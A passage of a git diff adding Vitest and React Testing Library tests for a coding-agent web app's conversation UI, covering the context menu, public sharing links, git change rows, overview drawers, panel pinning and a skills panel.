+ expect(screen.queryByTestId("show-skills-button")).not.toBeInTheDocument();
+ });
+
+ it("should call rename handler when rename button is clicked", async () => {
+ const user = userEvent.setup();
+ const onRename = vi.fn();
+
+ renderWithProviders(
+ ,
+ );
+
+ const renameButton = screen.getByTestId("rename-button");
+ await user.click(renameButton);
+
+ expect(onRename).toHaveBeenCalledTimes(1);
+ });
+
+ it("should call delete handler when delete button is clicked", async () => {
+ const user = userEvent.setup();
+ const onDelete = vi.fn();
+
+ renderWithProviders(
+ ,
+ );
+
+ const deleteButton = screen.getByTestId("delete-button");
+ await user.click(deleteButton);
+
+ expect(onDelete).toHaveBeenCalledTimes(1);
+ });
+
+ it("should call stop handler when stop button is clicked", async () => {
+ const user = userEvent.setup();
+ const onStop = vi.fn();
+
+ renderWithProviders(
+ ,
+ );
+
+ const stopButton = screen.getByTestId("stop-button");
+ await user.click(stopButton);
+
+ expect(onStop).toHaveBeenCalledTimes(1);
+ });
+
+ it("should call display cost handler when display cost button is clicked", async () => {
+ const user = userEvent.setup();
+ const onDisplayCost = vi.fn();
+
+ renderWithProviders(
+ ,
+ );
+
+ const displayCostButton = screen.getByTestId("display-cost-button");
+ await user.click(displayCostButton);
+
+ expect(onDisplayCost).toHaveBeenCalledTimes(1);
+ });
+
+ it("should call show agent tools handler when show agent tools button is clicked", async () => {
+ const user = userEvent.setup();
+ const onShowAgentTools = vi.fn();
+
+ renderWithProviders(
+ ,
+ );
+
+ const showAgentToolsButton = screen.getByTestId("show-agent-tools-button");
+ await user.click(showAgentToolsButton);
+
+ expect(onShowAgentTools).toHaveBeenCalledTimes(1);
+ });
+
+ it("should call show microagents handler when show microagents button is clicked", async () => {
+ const user = userEvent.setup();
+ const onShowSkills = vi.fn();
+
+ renderWithProviders(
+ ,
+ );
+
+ const showMicroagentsButton = screen.getByTestId("show-skills-button");
+ await user.click(showMicroagentsButton);
+
+ expect(onShowSkills).toHaveBeenCalledTimes(1);
+ });
+
+ it("forwards the position prop as a data-position attribute (top)", () => {
+ const handlers = {
+ onRename: vi.fn(),
+ };
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("conversation-name-context-menu"),
+ ).toHaveAttribute("data-position", "top");
+ });
+
+ it("forwards the position prop as a data-position attribute (bottom)", () => {
+ const handlers = {
+ onRename: vi.fn(),
+ };
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("conversation-name-context-menu"),
+ ).toHaveAttribute("data-position", "bottom");
+ });
+
+ it("should render correct text content for each menu option", () => {
+ const handlers = {
+ onRename: vi.fn(),
+ onDelete: vi.fn(),
+ onStop: vi.fn(),
+ onDisplayCost: vi.fn(),
+ onShowAgentTools: vi.fn(),
+ onShowSkills: vi.fn(),
+ onExportTranscript: vi.fn(),
+ onDownloadConversation: vi.fn(),
+ };
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("rename-button")).toHaveTextContent("Rename");
+ expect(screen.getByTestId("delete-button")).toHaveTextContent(
+ "Delete Conversation",
+ );
+ expect(screen.getByTestId("stop-button")).toHaveTextContent(
+ "Stop Conversation",
+ );
+ expect(screen.getByTestId("display-cost-button")).toHaveTextContent(
+ "Display Usage and Cost",
+ );
+ expect(screen.getByTestId("show-agent-tools-button")).toHaveTextContent(
+ "Show Agent Tools",
+ );
+ expect(screen.getByTestId("show-skills-button")).toHaveTextContent(
+ "Show Skills",
+ );
+ expect(screen.getByTestId("export-transcript-button")).toHaveTextContent(
+ "Export…",
+ );
+ expect(screen.getByTestId("download-trajectory-button")).toHaveTextContent(
+ "Download conversation data",
+ );
+ });
+
+ it("should call onClose when context menu is closed", () => {
+ const onClose = vi.fn();
+ const handlers = {
+ onRename: vi.fn(),
+ };
+
+ renderWithProviders(
+ ,
+ );
+
+ // The onClose is typically called by the parent component when clicking outside
+ // This test verifies the prop is properly passed
+ expect(onClose).toBeDefined();
+ });
+});
+
+describe("ConversationName public sharing", () => {
+ let updatePublicFlagSpy: ReturnType;
+ let writeTextSpy: ReturnType;
+
+ beforeEach(() => {
+ if (!("clipboard" in navigator)) {
+ Object.defineProperty(globalThis.navigator, "clipboard", {
+ configurable: true,
+ value: { writeText: () => Promise.resolve() },
+ });
+ }
+ writeTextSpy = vi
+ .spyOn(navigator.clipboard, "writeText")
+ .mockResolvedValue(undefined);
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ conversation_id: "test-conversation-id",
+ title: "Test Conversation",
+ status: "RUNNING",
+ public: false,
+ } as Conversation,
+ });
+ useActiveBackendMock.mockReturnValue({
+ backend: cloudBackend,
+ orgId: null,
+ });
+ updatePublicFlagSpy = vi
+ .spyOn(AgentServerConversationService, "updateConversationPublicFlag")
+ .mockResolvedValue({ id: "test-conversation-id", public: true } as never);
+ });
+
+ afterEach(() => {
+ updatePublicFlagSpy.mockRestore();
+ writeTextSpy.mockRestore();
+ vi.clearAllMocks();
+ });
+
+ it("renders the Public Share menu item on cloud backends", async () => {
+ const user = userEvent.setup();
+ renderConversationNameWithRouter();
+
+ await user.click(screen.getByTestId("ellipsis-button"));
+
+ expect(screen.getByTestId("share-publicly-button")).toBeInTheDocument();
+ });
+
+ it("hides the Public Share menu item on local backends", async () => {
+ useActiveBackendMock.mockReturnValue({
+ backend: localBackend,
+ orgId: null,
+ });
+ const user = userEvent.setup();
+ renderConversationNameWithRouter();
+
+ await user.click(screen.getByTestId("ellipsis-button"));
+
+ expect(
+ screen.queryByTestId("share-publicly-button"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("calls the update service with the toggled flag when clicked", async () => {
+ const user = userEvent.setup();
+ renderConversationNameWithRouter();
+
+ await user.click(screen.getByTestId("ellipsis-button"));
+ const toggleLabel = screen
+ .getByTestId("share-publicly-button")
+ .closest("label");
+ expect(toggleLabel).not.toBeNull();
+ await user.click(toggleLabel!);
+
+ expect(updatePublicFlagSpy).toHaveBeenCalledWith(
+ "test-conversation-id",
+ true,
+ );
+ });
+
+ it("uses the cloud environment domain for the share link and clipboard copy", async () => {
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ conversation_id: "test-conversation-id",
+ title: "Test Conversation",
+ status: "RUNNING",
+ public: true,
+ } as Conversation,
+ });
+ const expectedUrl =
+ "https://app.all-hands.dev/shared/conversations/test-conversation-id";
+ const user = userEvent.setup();
+ renderConversationNameWithRouter();
+
+ await user.click(screen.getByTestId("ellipsis-button"));
+ expect(screen.getByTestId("open-share-link-button")).toHaveAttribute(
+ "href",
+ expectedUrl,
+ );
+
+ await user.click(screen.getByTestId("copy-share-link-button"));
+ expect(writeTextSpy).toHaveBeenCalledWith(expectedUrl);
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-overview-diffs-row.test.tsx b/__tests__/components/features/conversation/conversation-overview-diffs-row.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..9912d302f4c156d13c0a08f7e1963e94d25890f6
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-overview-diffs-row.test.tsx
@@ -0,0 +1,140 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { ConversationOverviewDiffsRow } from "#/components/features/conversation/conversation-overview-diffs-row";
+import { useConversationStore } from "#/stores/conversation-store";
+
+const navigateToTabMock = vi.fn();
+const closeDrawerMock = vi.fn();
+
+vi.mock("#/hooks/use-conversation-overview-git-diff-stats", () => ({
+ useConversationOverviewGitDiffStats: () => ({
+ additions: 12,
+ deletions: 4,
+ changeCount: 2,
+ isLoading: false,
+ isError: false,
+ }),
+}));
+
+const navigateToChangesMock = vi.fn();
+
+vi.mock("#/hooks/use-select-conversation-tab", () => ({
+ useSelectConversationTab: () => ({
+ navigateToTab: navigateToTabMock,
+ navigateToChanges: navigateToChangesMock,
+ }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => ({
+ data: {
+ id: "conv-1",
+ git_provider: "github",
+ },
+ }),
+}));
+
+vi.mock(
+ "#/components/features/conversation/conversation-overview-drawer-context",
+ () => ({
+ useConversationOverviewDrawerOptional: () => ({
+ section: "skills",
+ openAdd: false,
+ openSection: vi.fn(),
+ closeDrawer: closeDrawerMock,
+ }),
+ }),
+);
+
+describe("ConversationOverviewDiffsRow", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ useConversationStore.setState({ messageToSend: null });
+ });
+
+ it("opens the git actions menu and sends commit, pull, push, and create PR prompts", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ await user.click(
+ screen.getByTestId("conversation-overview-diffs-git-action"),
+ );
+
+ await user.click(
+ await screen.findByTestId("conversation-overview-diffs-git-commit"),
+ );
+ expect(useConversationStore.getState().messageToSend?.text).toContain(
+ "commit",
+ );
+
+ await user.click(
+ screen.getByTestId("conversation-overview-diffs-git-action"),
+ );
+ await user.click(screen.getByTestId("conversation-overview-diffs-git-pull"));
+ expect(useConversationStore.getState().messageToSend?.text).toContain(
+ "pull",
+ );
+
+ await user.click(
+ screen.getByTestId("conversation-overview-diffs-git-action"),
+ );
+ await user.click(screen.getByTestId("conversation-overview-diffs-git-push"));
+ expect(useConversationStore.getState().messageToSend?.text).toContain(
+ "push",
+ );
+
+ await user.click(
+ screen.getByTestId("conversation-overview-diffs-git-action"),
+ );
+ await user.click(
+ screen.getByTestId("conversation-overview-diffs-git-create-pr"),
+ );
+ expect(useConversationStore.getState().messageToSend?.text).toContain(
+ "pull request",
+ );
+ });
+
+ it("keeps diff numbers hidden while the git menu is open", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ const stats = screen.getByTestId(
+ "conversation-overview-diffs-additions",
+ ).parentElement;
+
+ await user.click(
+ screen.getByTestId("conversation-overview-diffs-git-action"),
+ );
+
+ expect(stats).toHaveClass("opacity-0");
+ });
+
+ it("opens Diff view and closes open drawers when the changes label is clicked", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ await user.click(screen.getByTestId("conversation-overview-diffs"));
+
+ expect(closeDrawerMock).toHaveBeenCalled();
+ expect(navigateToChangesMock).toHaveBeenCalled();
+ expect(navigateToTabMock).not.toHaveBeenCalled();
+ });
+
+ it("uses a full-row hover that clears when the git action is hovered", () => {
+ render( );
+
+ const row = screen.getByTestId("conversation-overview-diffs").closest("li");
+ const changesButton = screen.getByTestId("conversation-overview-diffs");
+ const gitAction = screen.getByTestId(
+ "conversation-overview-diffs-git-action",
+ );
+
+ expect(row).toHaveClass("hover:bg-white/5");
+ expect(row?.className).toContain(
+ "has-[.conversation-overview-diffs-git-action:hover]:bg-transparent",
+ );
+ expect(changesButton).not.toHaveClass("hover:bg-white/5");
+ expect(gitAction).toHaveClass("hover:bg-white/10");
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-overview-drawer-content.test.tsx b/__tests__/components/features/conversation/conversation-overview-drawer-content.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5ad02e370d5f905b499bd789a7a3a82569717687
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-overview-drawer-content.test.tsx
@@ -0,0 +1,260 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { ConversationOverviewDrawerContent } from "#/components/features/conversation/conversation-overview-drawer-content";
+import {
+ ConversationOverviewDrawerProvider,
+ useConversationOverviewDrawer,
+} from "#/components/features/conversation/conversation-overview-drawer-context";
+import { CONVERSATION_OVERVIEW_DRAWER_SECTION } from "#/components/features/conversation/conversation-overview-drawer.types";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import SkillsService from "#/api/skills-service";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import type { SkillInfo } from "#/types/settings";
+
+vi.mock("#/hooks/use-conversation-overview-stats", () => ({
+ useConversationOverviewStats: () => ({
+ workspaceName: "demo",
+ }),
+}));
+
+vi.mock("#/hooks/use-conversation-primary-repository", () => ({
+ useConversationPrimaryRepository: () => ({
+ repository: "openhands/agent-canvas",
+ provider: "github" as const,
+ branch: "main",
+ isConnected: true,
+ }),
+}));
+
+vi.mock("#/hooks/query/use-repository-git-items", () => ({
+ useRepositoryPullRequests: () => ({
+ data: [],
+ isLoading: false,
+ isError: false,
+ }),
+ useRepositoryIssues: () => ({
+ data: [],
+ isLoading: false,
+ isError: false,
+ }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => ({
+ data: { selected_workspace: "/workspace/project/demo" },
+ }),
+}));
+
+vi.mock("#/hooks/query/use-automation-health", () => ({
+ useAutomationHealth: () => ({
+ data: { status: "ok" },
+ isLoading: false,
+ refetch: vi.fn(),
+ }),
+}));
+
+vi.mock("#/hooks/query/use-automations", () => ({
+ useAutomations: () => ({
+ data: { automations: [], total: 0 },
+ isLoading: false,
+ isError: false,
+ refetch: vi.fn(),
+ }),
+ useToggleAutomation: () => ({ mutate: vi.fn() }),
+ useDeleteAutomation: () => ({ mutate: vi.fn(), isPending: false }),
+ useDispatchAutomation: () => ({ mutate: vi.fn() }),
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+ useTracking: () => ({
+ trackPrebuiltAutomationEnabled: vi.fn(),
+ }),
+}));
+
+vi.mock("#/hooks/use-create-automation-in-chat", () => ({
+ useCreateAutomationInChat: () => vi.fn(),
+}));
+
+vi.mock("#/hooks/use-is-creating-conversation", () => ({
+ useIsCreatingConversation: () => false,
+}));
+
+vi.mock("#/hooks/mutation/use-create-conversation", () => ({
+ useCreateConversation: () => ({ mutate: vi.fn(), isPending: false }),
+}));
+
+function buildSkill(overrides: Partial = {}): SkillInfo {
+ return {
+ name: "deno",
+ type: "knowledge",
+ source: "/Users/test/.openhands/cache/skills/public-skills/skills/deno/SKILL.md",
+ description: "Use this skill for Deno projects.",
+ triggers: ["deno"],
+ version: "1.0.0",
+ license: "Apache-2.0",
+ compatibility: null,
+ metadata: null,
+ allowed_tools: null,
+ is_agentskills_format: true,
+ disable_model_invocation: false,
+ ...overrides,
+ };
+}
+
+function OpenSection({
+ section,
+}: {
+ section: (typeof CONVERSATION_OVERVIEW_DRAWER_SECTION)[keyof typeof CONVERSATION_OVERVIEW_DRAWER_SECTION];
+}) {
+ const { openSection } = useConversationOverviewDrawer();
+ return (
+ openSection(section)}
+ >
+ Open
+
+ );
+}
+
+function renderDrawer(
+ section: (typeof CONVERSATION_OVERVIEW_DRAWER_SECTION)[keyof typeof CONVERSATION_OVERVIEW_DRAWER_SECTION],
+) {
+ return render(
+
+
+
+ ,
+ {
+ wrapper: ({ children }) => (
+
+ {children}
+
+ ),
+ },
+ );
+}
+
+describe("ConversationOverviewDrawerContent", () => {
+ beforeEach(() => {
+ vi.restoreAllMocks();
+ vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+ MOCK_DEFAULT_USER_SETTINGS,
+ );
+ vi.spyOn(SkillsService, "getSkills").mockResolvedValue([buildSkill()]);
+ });
+
+ it("places the close button left of the title and the add control on the right", async () => {
+ const user = userEvent.setup();
+ renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.skills);
+
+ await user.click(screen.getByTestId("open-drawer-section"));
+
+ const header = screen
+ .getByTestId("conversation-overview-drawer-content")
+ .querySelector("header");
+ expect(header).not.toBeNull();
+ expect(header).toHaveClass("h-10");
+ expect(header).toHaveClass("min-h-10");
+ expect(header).toHaveClass("pr-4");
+ expect(
+ within(header as HTMLElement).getByTestId(
+ "conversation-overview-skills-add-skill-button",
+ ),
+ ).toHaveClass("h-7");
+
+ const headerItems = within(header as HTMLElement).getAllByRole("button");
+ expect(headerItems[0]).toHaveAttribute(
+ "data-testid",
+ "conversation-overview-drawer-close",
+ );
+ expect(headerItems[1]).toHaveAttribute(
+ "data-testid",
+ "conversation-overview-skills-add-skill-button",
+ );
+ });
+
+ it("opens the add skill modal from the header add button", async () => {
+ const user = userEvent.setup();
+ renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.skills);
+
+ await user.click(screen.getByTestId("open-drawer-section"));
+ await user.click(
+ await screen.findByTestId("conversation-overview-skills-add-skill-button"),
+ );
+
+ expect(await screen.findByTestId("add-skill-modal")).toBeInTheDocument();
+ });
+
+ it("shows the automations add button in the header", async () => {
+ const user = userEvent.setup();
+ renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.automations);
+
+ await user.click(screen.getByTestId("open-drawer-section"));
+
+ expect(
+ await screen.findByTestId("conversation-overview-automations-add"),
+ ).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-overview-automations-panel")
+ ?.querySelector(
+ '[data-testid="conversation-overview-automations-add"]',
+ ),
+ ).toBeNull();
+ });
+
+ it("shows the mcp add button in the header", async () => {
+ const user = userEvent.setup();
+ renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.mcp);
+
+ await user.click(screen.getByTestId("open-drawer-section"));
+
+ const header = screen
+ .getByTestId("conversation-overview-drawer-content")
+ .querySelector("header");
+ expect(
+ within(header as HTMLElement).getByTestId(
+ "conversation-overview-mcp-add-server",
+ ),
+ ).toBeInTheDocument();
+ });
+
+ it("places the view-on-provider link in the header for pull requests", async () => {
+ const user = userEvent.setup();
+ renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.pull_requests);
+
+ await user.click(screen.getByTestId("open-drawer-section"));
+
+ const header = screen
+ .getByTestId("conversation-overview-drawer-content")
+ .querySelector("header");
+ const externalLink = within(header as HTMLElement).getByTestId(
+ "conversation-overview-pull_requests-open-external",
+ );
+
+ expect(externalLink).toHaveAttribute(
+ "href",
+ "https://github.com/openhands/agent-canvas/pulls",
+ );
+ expect(externalLink).toHaveTextContent(
+ "CONVERSATION$OVERVIEW_VIEW_ON_PROVIDER",
+ );
+ expect(
+ screen
+ .getByTestId("conversation-overview-pull_requests-panel")
+ .querySelector(
+ '[data-testid="conversation-overview-pull_requests-open-external"]',
+ ),
+ ).toBeNull();
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-overview-panel.test.tsx b/__tests__/components/features/conversation/conversation-overview-panel.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..44b490704e8d610a829d4d4758009abf79028d8e
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-overview-panel.test.tsx
@@ -0,0 +1,289 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { ConversationOverviewPanel } from "#/components/features/conversation/conversation-overview-panel";
+import { NavigationProvider } from "#/context/navigation-context";
+import { ConversationOverviewDrawerProvider } from "#/components/features/conversation/conversation-overview-drawer-context";
+import { CONVERSATION_OVERVIEW_DRAWER_SECTION } from "#/components/features/conversation/conversation-overview-drawer.types";
+
+const openSection = vi.fn();
+const closeDrawer = vi.fn();
+const navigateToCommits = vi.fn();
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useConversationId: () => ({ conversationId: "conv-1" }),
+}));
+
+vi.mock("#/hooks/use-conversation-overview-git-diff-stats", () => ({
+ useConversationOverviewGitDiffStats: () => ({
+ additions: 4161,
+ deletions: 1824,
+ changeCount: 3,
+ isLoading: false,
+ isError: false,
+ }),
+}));
+
+vi.mock("#/hooks/use-select-conversation-tab", () => ({
+ useSelectConversationTab: () => ({
+ navigateToTab: vi.fn(),
+ navigateToChanges: vi.fn(),
+ navigateToCommits,
+ }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => ({
+ data: {
+ id: "conv-1",
+ selected_workspace: "/workspace/project/demo",
+ llm_model: "openhands/test-model",
+ },
+ }),
+}));
+
+vi.mock("#/hooks/query/use-settings", () => ({
+ useSettings: () => ({
+ data: {
+ llm_model: "openhands/test-model",
+ agent_settings: {
+ mcp_config: {
+ mcpServers: {
+ example: {
+ url: "https://example.com/mcp",
+ },
+ },
+ },
+ },
+ },
+ }),
+}));
+
+vi.mock("#/hooks/use-conversation-primary-repository", () => ({
+ useConversationPrimaryRepository: () => ({
+ repository: "openhands/agent-canvas",
+ provider: "github" as const,
+ branch: "main",
+ isConnected: true,
+ }),
+}));
+
+vi.mock("#/hooks/query/use-unified-git-commits", () => ({
+ useUnifiedGitCommits: () => ({
+ commits: [{ sha: "abc" }, { sha: "def" }, { sha: "ghi" }],
+ hasMore: false,
+ isUnsupported: false,
+ isLoading: false,
+ isFetching: false,
+ isSuccess: true,
+ isError: false,
+ }),
+}));
+
+vi.mock("#/hooks/query/use-repository-git-items", () => ({
+ useRepositoryPullRequests: () => ({
+ data: [
+ {
+ id: 1,
+ number: 10,
+ title: "Fix overview",
+ url: "https://github.com/openhands/agent-canvas/pull/10",
+ authorLogin: "dev",
+ updatedAt: null,
+ },
+ ],
+ isLoading: false,
+ isError: false,
+ }),
+ useRepositoryIssues: () => ({
+ data: [],
+ isLoading: false,
+ isError: false,
+ }),
+}));
+
+vi.mock("#/api/conversation-metadata-store", () => ({
+ getStoredConversationMetadata: () => ({
+ selected_workspace: "/workspace/project/demo",
+ }),
+}));
+
+vi.mock(
+ "#/components/features/conversation/conversation-overview-drawer-context",
+ async (importOriginal) => {
+ const actual = await importOriginal<
+ typeof import("#/components/features/conversation/conversation-overview-drawer-context")
+ >();
+ return {
+ ...actual,
+ useConversationOverviewDrawerOptional: () => ({
+ section: null,
+ openAdd: false,
+ openSection,
+ closeDrawer,
+ }),
+ };
+ },
+);
+
+function renderPanel() {
+ return render(
+
+
+
+
+ ,
+ );
+}
+
+describe("ConversationOverviewPanel", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ localStorage.clear();
+ });
+
+ it("renders workspace and git changes without MCP, secrets, skills, or automations", () => {
+ renderPanel();
+
+ expect(screen.getByTestId("conversation-overview-panel")).toBeInTheDocument();
+ expect(screen.getByTestId("conversation-overview-workspace")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-overview-git-title"),
+ ).not.toBeInTheDocument();
+ expect(screen.getByTestId("conversation-overview-diffs")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-overview-mcp"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-overview-automations"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-overview-skills"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-overview-secrets"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-overview-issues"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("shows changes inside the git area with commits and pull requests when a repo is connected", async () => {
+ const user = userEvent.setup();
+ renderPanel();
+
+ const gitBlock = screen.getByTestId("conversation-overview-git-block");
+ const diffs = screen.getByTestId("conversation-overview-diffs");
+ expect(gitBlock).toContainElement(diffs);
+
+ const workspace = screen.getByTestId("conversation-overview-workspace");
+ const gitSection = screen.getByTestId("conversation-overview-git-section");
+ // Workspace sits below the git content.
+ expect(gitSection.compareDocumentPosition(workspace)).toBe(
+ Node.DOCUMENT_POSITION_FOLLOWING,
+ );
+ const repoLink = screen.getByTestId("conversation-overview-git-repo");
+ expect(repoLink).toHaveTextContent("openhands/agent-canvas");
+ expect(repoLink.getAttribute("href")).toContain("github.com");
+ const branchLink = screen.getByTestId("conversation-overview-git-branch");
+ expect(branchLink).toHaveTextContent("main");
+ expect(branchLink).toHaveAttribute(
+ "href",
+ "https://github.com/openhands/agent-canvas/tree/main",
+ );
+ expect(
+ screen.getByTestId("conversation-overview-commits-count"),
+ ).toHaveTextContent("3");
+ expect(
+ screen.getByTestId("conversation-overview-pull-requests-count"),
+ ).toHaveTextContent("1");
+
+ await user.click(screen.getByTestId("conversation-overview-commits"));
+ expect(navigateToCommits).toHaveBeenCalled();
+
+ await user.click(screen.getByTestId("conversation-overview-pull-requests"));
+ expect(openSection).toHaveBeenCalledWith(
+ CONVERSATION_OVERVIEW_DRAWER_SECTION.pull_requests,
+ );
+ });
+
+ it("lets users pin and unpin git changes from the overflow menu", async () => {
+ const user = userEvent.setup();
+ renderPanel();
+
+ expect(screen.getByTestId("conversation-overview-diffs")).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("conversation-overview-ellipsis"));
+ expect(
+ screen.getByTestId("conversation-overview-context-menu"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByTestId("conversation-overview-menu-divider-git"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByTestId("conversation-overview-menu-pin-git-changes"),
+ ).toHaveAttribute("aria-pressed", "true");
+
+ await user.click(
+ screen.getByTestId("conversation-overview-menu-pin-git-changes"),
+ );
+
+ expect(
+ screen.queryByTestId("conversation-overview-diffs"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.getByTestId("conversation-overview-menu-pin-git-changes"),
+ ).toHaveAttribute("aria-pressed", "false");
+
+ await user.click(
+ screen.getByTestId("conversation-overview-menu-pin-git-changes"),
+ );
+
+ expect(screen.getByTestId("conversation-overview-diffs")).toBeInTheDocument();
+ expect(
+ screen.getByTestId("conversation-overview-menu-pin-git-changes"),
+ ).toHaveAttribute("aria-pressed", "true");
+ });
+
+ it("lets users unpin the git section and individual git parts from the overflow menu", async () => {
+ const user = userEvent.setup();
+ renderPanel();
+
+ expect(
+ screen.getByTestId("conversation-overview-git-section"),
+ ).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("conversation-overview-ellipsis"));
+ expect(
+ screen.getByTestId("conversation-overview-menu-pin-git"),
+ ).toHaveAttribute("aria-pressed", "true");
+ expect(
+ screen.getByTestId("conversation-overview-menu-pin-git-branch"),
+ ).toHaveAttribute("aria-pressed", "true");
+
+ await user.click(
+ screen.getByTestId("conversation-overview-menu-pin-git-branch"),
+ );
+ expect(
+ screen.queryByTestId("conversation-overview-git-branch"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.getByTestId("conversation-overview-git-repo"),
+ ).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("conversation-overview-menu-pin-git"));
+ expect(
+ screen.queryByTestId("conversation-overview-git-block"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.getByTestId("conversation-overview-menu-pin-git"),
+ ).toHaveAttribute("aria-pressed", "false");
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-overview-skills-panel.test.tsx b/__tests__/components/features/conversation/conversation-overview-skills-panel.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ec89ba7b24c85bdb4e962c5594b3c047f197f1c7
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-overview-skills-panel.test.tsx
@@ -0,0 +1,106 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { ConversationOverviewSkillsPanel } from "#/components/features/conversation/conversation-overview-skills-panel";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import SkillsService from "#/api/skills-service";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import type { SkillInfo } from "#/types/settings";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => ({
+ data: { selected_workspace: "/workspace/project/demo" },
+ }),
+}));
+
+function buildSkill(overrides: Partial = {}): SkillInfo {
+ return {
+ name: "deno",
+ type: "knowledge",
+ source: "/Users/test/.openhands/cache/skills/public-skills/skills/deno/SKILL.md",
+ description: "Use this skill for Deno projects.",
+ triggers: ["deno"],
+ version: "1.0.0",
+ license: "Apache-2.0",
+ compatibility: null,
+ metadata: null,
+ allowed_tools: null,
+ is_agentskills_format: true,
+ disable_model_invocation: false,
+ ...overrides,
+ };
+}
+
+function renderPanel(openAdd = false) {
+ return render( , {
+ wrapper: ({ children }) => (
+
+ {children}
+
+ ),
+ });
+}
+
+describe("ConversationOverviewSkillsPanel", () => {
+ beforeEach(() => {
+ vi.restoreAllMocks();
+ vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+ MOCK_DEFAULT_USER_SETTINGS,
+ );
+ });
+
+ it("opens the add skill modal when openAdd is true", async () => {
+ vi.spyOn(SkillsService, "getSkills").mockResolvedValue([buildSkill()]);
+
+ renderPanel(true);
+
+ expect(await screen.findByTestId("add-skill-modal")).toBeInTheDocument();
+ });
+
+ it("shows the empty state without an inline add skill button", async () => {
+ vi.spyOn(SkillsService, "getSkills").mockResolvedValue([]);
+
+ renderPanel();
+
+ expect(
+ await screen.findByTestId("conversation-overview-skills-empty"),
+ ).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-overview-skills-add-skill-button"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("defaults to this-project scope and can show all skills", async () => {
+ const user = userEvent.setup();
+ vi.spyOn(SkillsService, "getSkills").mockResolvedValue([
+ buildSkill({
+ name: "project-skill",
+ source: "/workspace/project/demo/.openhands/skills/project/SKILL.md",
+ }),
+ buildSkill({ name: "public-skill" }),
+ ]);
+
+ renderPanel();
+
+ expect(
+ await screen.findByTestId("conversation-overview-skills-scope"),
+ ).toBeInTheDocument();
+ expect(await screen.findByText("project-skill")).toBeInTheDocument();
+ expect(screen.queryByText("public-skill")).not.toBeInTheDocument();
+
+ await user.click(
+ screen.getByTestId("conversation-overview-skills-scope-option-all"),
+ );
+
+ expect(await screen.findByText("public-skill")).toBeInTheDocument();
+ expect(screen.getByText("project-skill")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-overview-toggle.test.tsx b/__tests__/components/features/conversation/conversation-overview-toggle.test.tsx
new file mode 100644
